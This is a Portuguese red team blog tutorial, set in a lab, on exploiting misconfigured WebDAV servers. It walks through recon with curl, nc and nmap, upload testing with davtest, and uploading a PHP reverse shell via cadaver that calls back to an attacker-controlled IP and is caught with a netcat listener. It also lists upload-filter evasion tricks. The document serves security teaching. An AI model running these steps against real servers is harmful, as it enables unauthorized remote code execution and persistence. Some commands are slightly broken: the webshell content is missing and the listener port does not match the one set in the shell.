Exploração de WebDAV - Guia Red Team

Criado por André Miranda Albuquerque em Cyber Security 16/08/2025
Compartilhar

🎯 O que é WebDAV?

WebDAV (Web Distributed Authoring and Versioning) é uma extensão do protocolo HTTP que permite:
  • Editar e gerenciar arquivos remotamente em servidores web
  • Upload, download, criação e exclusão de arquivos via HTTP
  • Colaboração em documentos através da web
Portas comuns: 80 (HTTP), 443 (HTTPS), 8080, 8443
A vulnerabilidade WebDAV representa uma combinação crítica de falhas de configuração, controle de acesso e validação de entrada, tornando-se um vetor de ataque altamente efetivo para operações red team.

🔍 Reconnaissance - Identificando WebDAV

1. Detecção Manual

# Verificar métodos HTTP suportados com curl
curl -i -X OPTIONS
http://192.168.50.3/dav/

# Verificar métodos HTTP suportados com NetCat
nc 192.168.50.3 80
host:192.168.50.3
# Extra: Tem como fazer com o Nmap
nmap -p 80,443 --script http-webdav-scan,http-methods 192.168.50.3
Podemos verificas os métodos HTTP aceitos.

💻 Prática:

🔍 Verificando a aplicação

Aplicação sem nenhum arquivo no webdav. Tudo bem até agora.

⚔️ Vetores de Ataque Principais

1. Upload de Arquivos Maliciosos

Cenário: WebDAV mal configurado permite upload de arquivos executáveis.
# Testar upload de arquivo
curl -X PUT http://192.168.50.3/dav/baseti.txt -d "teste de upload"

# Upload de webshell PHP
curl -X PUT http://192.168.50.3/dav/shell.php -d "
"

🎬 Olha o VAR
🔍Verificando a aplicação

Será que conseguimos enviar arquivos para a aplicação?


Conseguimos, conforme evidência acima.

🛠️ Ferramentas Especializadas

1. Cadaver (Cliente WebDAV)

# Conectar ao servidor
cadaver http://192.168.50.3/dav/

# Comandos dentro do cadaver:
dav:/webdav/> ls # Listar arquivos
dav:/webdav/> put shell.php # Upload arquivo
dav:/webdav/> get sensitive.txt # Download arquivo
dav:/webdav/> delete old.txt # Deletar arquivo

2. DavTest (Teste automatizado)

# Testar upload de vários tipos de arquivo
davtest -url http://192.168.50.3/dav/

# Com credenciais
davtest -auth user:pass -url http://target.com/webdav/
Esse comando davtest é bom para verificar que tipo de arquivo são aceitos:


Bem , já sabemos que podemos fazer upload de arquivos php, html e txt. Agora vamos para exploração.

🎯 Explorar

Iremos subir um webshell em php.
# Encontrar o WebShell
cd/usr/share/webshells/php
ls /usr/share/webshells/php

# Editar o arquivo php-reverse-shell.php
cp php-reverse-shell.php /tmp; cd /tmp
vim php-reverse-shell.php

# Alterar as opções $ip e $port inserindo o IP do no nosso Kali e uma porta que irá receber a conexão:
$ip = '192.168.50.2';
$port= '7777';


# Subir o arquivo para o servidor usando o cadaver
put /tmp/php-reverse-shell.php


# Acessar a página do WebDAV e verificar se o arquivo está lá:

# Quase pronto!

🎯 Preparando o NetCat para receber a conexão

# Iniciando o netcat para receber conexões na porta 7777. A porta que definimos no arquivo php-reverse-shell.php
nc -nlvp 777

# Ir na aplicação e clicar no arquivo enviado. Agora a magia acontece.


# Recebemos um shell. Limitado, mas recebemos. O próximo passo seria escalar privilégios. Mas isso é um tema para outra conversa.
E o que o OWASP nos diz sobre esse tema:

📊 Mapeamento OWASP Top 10

A01:2021 - Broken Access Control

- Upload sem autenticação
- Bypass de controles de autorização
- Escalação de privilégios via upload

A03:2021 - Injection

- Code injection via arquivos uploaded
- Command injection através de webshells
- Script injection em arquivos executáveis

A05:2021 - Security Misconfiguration

- WebDAV habilitado por padrão
- Configurações inseguras do servidor
- Falta de hardening adequado

A08:2021 - Software and Data Integrity Failures

- Falta de validação de integridade de arquivos
- Ausência de verificação de assinatura digital
- Upload de componentes não confiáveis


🔐 Para você que só acredita vendo


💡 Considerações finais para Red Team

Por que WebDAV é um alvo atrativo:
  1. Frequentemente esquecido em auditorias de segurança
  2. Configuração padrão insegura em muitos servidores
  3. Bypass fácil de controles de upload tradicionais
  4. Persistência através de webshells
  5. Living-off-the-land - usa funcionalidade legítima
Técnicas de evasão específicas:
  • Upload com extensão dupla (.php.txt)
  • Uso de headers Content-Type enganosos
  • Métodos HTTP alternativos (MOVE, COPY)
  • Unicode encoding em nomes de arquivo
A vulnerabilidade WebDAV representa uma combinação crítica de falhas de configuração, controle de acesso e validação de entrada, tornando-se um vetor de ataque altamente efetivo para operações red team.

Comentários (0)

Compartilhar

Compartilhar este post com outros